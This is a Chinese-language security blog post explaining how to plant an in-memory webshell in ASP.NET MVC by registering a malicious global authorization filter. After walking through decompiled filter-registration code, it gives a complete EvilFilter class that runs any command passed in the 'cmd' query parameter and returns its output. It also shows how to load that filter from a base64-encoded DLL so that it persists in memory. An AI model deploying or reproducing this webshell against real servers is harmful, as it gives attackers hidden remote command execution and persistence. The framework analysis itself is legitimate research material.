Net MVC內存馬

Net MVC內存馬

前言

在瀏覽論壇時候看到幾篇關於Net 內存馬的文章,引發我的好奇心,隨手調了一下。

結構分析

安裝Java內存馬的思路,來跟蹤NET中的Filter註冊流程。

創建了一個mvc項目看到MvcApplication類中

namespace WebApplication3
{
    public class MvcApplication : System.Web.HttpApplication
    {
        protected void Application_Start()
        {
            AreaRegistration.RegisterAllAreas();
            FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
            RouteConfig.RegisterRoutes(RouteTable.Routes);
            BundleConfig.RegisterBundles(BundleTable.Bundles);
        }
    }
}

MvcApplication 中會FilterConfig加載進來。

FilterConfig類中配置了所有需要加載的Filter。

通過GlobalFilterCollection的Add方法進行將filter對象進行添加。

namespace System.Web.Mvc
{
    //
    // 摘要:
    //     表示一個包含所有全局篩選器的類。
    public sealed class GlobalFilterCollection : IEnumerable<Filter>, IEnumerable, IFilterProvider
    {
        //
        // 摘要:
        //     初始化 System.Web.Mvc.GlobalFilterCollection 類的新實例。
        public GlobalFilterCollection();

        //
        // 摘要:
        //     獲取全局篩選器集合中的篩選器數目。
        //
        // 返回結果:
        //     全局篩選器集合中的篩選器數目。
        public int Count { get; }

        //
        // 摘要:
        //     向全局篩選器集合添加指定篩選器。
        //
        // 參數:
        //   filter:
        //     篩選器。
        public void Add(object filter);
        //
        // 摘要:
        //     使用指定的篩選器運行順序向全局篩選器集合添加指定篩選器。
        //
        // 參數:
        //   filter:
        //     篩選器。
        //
        //   order:
        //     篩選器運行順序。
        public void Add(object filter, int order);
        //
        // 摘要:
        //     從全局篩選器集合刪除所有篩選器。
        public void Clear();
        //
        // 摘要:
        //     確定某篩選器是否在全局篩選器集合中。
        //
        // 參數:
        //   filter:
        //     篩選器。
        //
        // 返回結果:
        //     如果在全局篩選器集合中找到 filter,則爲 true;否則爲 false。
        public bool Contains(object filter);
        //
        // 摘要:
        //     返回循環訪問全局篩選器集合的枚舉器。
        //
        // 返回結果:
        //     循環訪問全局篩選器集合的枚舉器。
        public IEnumerator<Filter> GetEnumerator();
        //
        // 摘要:
        //     刪除與指定篩選器匹配的所有篩選器。
        //
        // 參數:
        //   filter:
        //     要刪除的篩選器。
        public void Remove(object filter);
    }
}

其中有2個add方法,兩個參數的方法,第二個參數是設置Filter的執行優先級。

首先讓我們看FilterProviders.cs,該類爲Filter提供註冊點

using System;

namespace System.Web.Mvc
{
	// Token: 0x020000C6 RID: 198
	public static class FilterProviders
	{
		// Token: 0x06000533 RID: 1331 RVA: 0x0000E9D4 File Offset: 0x0000CBD4
		static FilterProviders()
		{
			FilterProviders.Providers.Add(GlobalFilters.Filters);
			FilterProviders.Providers.Add(new FilterAttributeFilterProvider());
			FilterProviders.Providers.Add(new ControllerInstanceFilterProvider());
		}

		public static FilterProviderCollection Providers { get; private set; } = new FilterProviderCollection();
	}
}

FilterAttributeFilterProvider代碼

namespace System.Web.Mvc
{
	// Token: 0x020000C3 RID: 195
	public class FilterAttributeFilterProvider : IFilterProvider
	{
		// Token: 0x06000520 RID: 1312 RVA: 0x0000E489 File Offset: 0x0000C689
		public FilterAttributeFilterProvider() : this(true)
		{
		}

		// Token: 0x06000521 RID: 1313 RVA: 0x0000E492 File Offset: 0x0000C692
		public FilterAttributeFilterProvider(bool cacheAttributeInstances)
		{
			this._cacheAttributeInstances = cacheAttributeInstances;
		}

		// Token: 0x06000522 RID: 1314 RVA: 0x0000E4A1 File Offset: 0x0000C6A1
		protected virtual IEnumerable<FilterAttribute> GetActionAttributes(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
		{
			return actionDescriptor.GetFilterAttributes(this._cacheAttributeInstances);
		}

		// Token: 0x06000523 RID: 1315 RVA: 0x0000E4AF File Offset: 0x0000C6AF
		protected virtual IEnumerable<FilterAttribute> GetControllerAttributes(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
		{
			return actionDescriptor.ControllerDescriptor.GetFilterAttributes(this._cacheAttributeInstances);
		}

		// Token: 0x06000524 RID: 1316 RVA: 0x0000E770 File Offset: 0x0000C970
		public virtual IEnumerable<Filter> GetFilters(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
		{
			if (controllerContext.Controller != null)
			{
				foreach (FilterAttribute attr in this.GetControllerAttributes(controllerContext, actionDescriptor))
				{
					yield return new Filter(attr, FilterScope.Controller, null);
				}
				foreach (FilterAttribute attr2 in this.GetActionAttributes(controllerContext, actionDescriptor))
				{
					yield return new Filter(attr2, FilterScope.Action, null);
				}
			}
			yield break;
		}

		// Token: 0x04000164 RID: 356
		private readonly bool _cacheAttributeInstances;
	}
}

該類中有幾個方法分別獲取Filter、Controller、Action等特性集合

public IEnumerable<Filter> GetFilters(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
		{
			if (controllerContext == null)
			{
				throw new ArgumentNullException("controllerContext");
			}
			if (actionDescriptor == null)
			{
				throw new ArgumentNullException("actionDescriptor");
			}
			IFilterProvider[] combinedItems = this.CombinedItems;
			List<Filter> list = new List<Filter>();
			foreach (IFilterProvider filterProvider in combinedItems)
			{
				foreach (Filter item in filterProvider.GetFilters(controllerContext, actionDescriptor))
				{
					list.Add(item);
				}
			}
			list.Sort(FilterProviderCollection._filterComparer);
			if (list.Count > 1)
			{
				FilterProviderCollection.RemoveDuplicates(list);
			}
			return list;
		}

遍歷combinedItems值獲取IFilterProvider接口實例化對象,調用list.Sort進行排序

System.Web.Mvc.FilterProviderCollection$FilterComparer

private class FilterComparer : IComparer<Filter>
		{
			// Token: 0x06000531 RID: 1329 RVA: 0x0000E96C File Offset: 0x0000CB6C
			public int Compare(Filter x, Filter y)
			{
				if (x == null && y == null)
				{
					return 0;
				}
				if (x == null)
				{
					return -1;
				}
				if (y == null)
				{
					return 1;
				}
				if (x.Order < y.Order)
				{
					return -1;
				}
				if (x.Order > y.Order)
				{
					return 1;
				}
				if (x.Scope < y.Scope)
				{
					return -1;
				}
				if (x.Scope > y.Scope)
				{
					return 1;
				}
				return 0;
			}

對比2個Filter的Order值和Scope值。

可見先調用的IAuthorizationFilter.OnAuthorization

可見IAuthorizationFilter優先級要高一些

//IAuthorizationFilter調用
 AuthorizationContext authContext = InvokeAuthorizationFilters(controllerContext, filterInfo.AuthorizationFilters, actionDescriptor)
 
 //IActionFilter調用
 ActionExecutedContext postActionContext = InvokeActionMethodWithFilters(controllerContext, filterInfo.ActionFilters, actionDescriptor, parameters);

//IResultFilter調用
 InvokeActionResultWithFilters(controllerContext, filterInfo.ResultFilters, postActionContext.Result);

 //IExceptionFilter調用
ExceptionContext exceptionContext = InvokeExceptionFilters(controllerContext, filterInfo.ExceptionFilters, ex);

構造

與Java一直,繼承IAuthorizationFilter接口,在OnAuthorization方法中構造馬的內容。然後調用GlobalFilters.Filters.add方法將繼承IAuthorizationFilter接口類的實例化對象也就是構造的內存馬傳遞進去。

比較懶代碼直接寫到了Controller裏面進行執行注入內存馬。

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Web;
using System.Web.Mvc;

namespace WebApplication3.Controllers
{
    public class HomeController : Controller
    {
        public ActionResult Index()
        {
            GlobalFilters.Filters.Add(new EvilFilter(), -2);
        
            return View();
        }
    public class EvilFilter : IAuthorizationFilter
    {
        public void OnAuthorization(AuthorizationContext filterContext)
        {
            HttpRequestBase request = filterContext.HttpContext.Request;
            HttpResponseBase response = filterContext.HttpContext.Response;
            string cmd = request.QueryString["cmd"];
            if (cmd != null)
            {

                Process process = new Process();
                process.StartInfo.FileName = cmd;
                process.StartInfo.UseShellExecute = false;
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.RedirectStandardError = true;
                process.Start();
                byte[] data = Encoding.UTF8.GetBytes(process.StandardOutput.ReadToEnd() + process.StandardError.ReadToEnd());
                response.Write(System.Text.Encoding.Default.GetString(data));
            }

            else
            {
                response.Write("null");
            }

        }
    }
}

與Java一致 NET也可以將以上EvilFilter這個惡意的Filter編譯成dll,然後編碼後進行加載。

System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String("Filter base64字符"));

assembly.CreateInstance(assembly.GetTypes()[0].FullName,)

但只能在mvc下使用,因爲GlobalFiltersIAuthorizationFilter需要System.Web.Mvc.dll依賴,在面對Webform的情況下無法使用。

參考

ASP.NET下的內存馬(1) filter內存馬

聊聊新類型ASPXCSharp

Asp.net MVC源碼分析--Filter種類以及調用優先級

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章